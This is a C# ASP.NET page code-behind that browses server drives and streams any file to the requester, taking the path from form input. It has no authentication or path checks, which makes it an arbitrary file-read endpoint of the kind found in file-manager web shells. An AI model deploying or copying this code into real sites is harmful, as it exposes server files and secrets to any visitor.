﻿using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

public partial class _Default : Page
{
    protected string Current_Path = string.Empty;

    protected void Page_Load(object sender, EventArgs e)
    {
        if (!Page.IsPostBack)
        {
            Current_Path = System.IO.Directory.GetLogicalDrives()[0];
        }
        else
        {
            string frm_action = Request.Form["action"];
            string frm_fdname = Request.Form["fdname"];
            string frm_fdtype = Request.Form["fdtype"];


            if ((frm_action.Equals("update", StringComparison.InvariantCultureIgnoreCase)) && 
                (frm_fdtype.Equals("directory", StringComparison.InvariantCultureIgnoreCase)))
            {
                Current_Path = Encoding.UTF8.GetString(Convert.FromBase64String(frm_fdname));
            }
            if (frm_action.Equals("change", StringComparison.InvariantCultureIgnoreCase))
            {
                if (Directory.Exists(Request.Form["current_path"]))
                    Current_Path = Request.Form["current_path"];
                else
                    Current_Path = System.IO.Directory.GetLogicalDrives()[0];
            }
            if ((frm_action.Equals("download", StringComparison.InvariantCultureIgnoreCase)) &&
                (frm_fdtype.Equals("file", StringComparison.InvariantCultureIgnoreCase)))
            {
                string filePath = Encoding.UTF8.GetString(Convert.FromBase64String(frm_fdname));
                string fileName = Path.GetFileName(filePath);

                if (System.IO.File.Exists(filePath))
                {
                    Current_Path = Path.GetDirectoryName(filePath);
                    
                    using (FileStream fs = File.Open(filePath, FileMode.Open))
                    {
                        // Buffer to read 10K bytes in chunk:
                        byte[] buffer = new Byte[10000];
                        int no_of_bytes_read;

                        // Total bytes to read:
                        long dataToRead = fs.Length;

                        Response.Clear();
                        Response.ContentType = "application/octet-stream";
                        Response.AddHeader("Content-Disposition", "attachment; filename=" + fileName);
                        Response.AddHeader("Content-Length", fs.Length.ToString());

                        // Read the bytes.
                        while (dataToRead > 0)
                        {
                            // Verify that the client is connected.
                            if (Response.IsClientConnected)
                            {
                                // Read the data in buffer.
                                no_of_bytes_read = fs.Read(buffer, 0, 10000);

                                // Write the data to the current output stream.
                                Response.OutputStream.Write(buffer, 0, no_of_bytes_read);

                                // Flush the data to the output.
                                Response.Flush();

                                buffer = new Byte[10000];
                                dataToRead = dataToRead - no_of_bytes_read;
                            }
                            else
                            {
                                dataToRead = -1; //prevent infinite loop if user disconnects
                            }
                        }
                    }
                    // System.IO.File.Open()
                    //Current_Path = System.IO.Path.get
                }
                
            }
        }
    }
}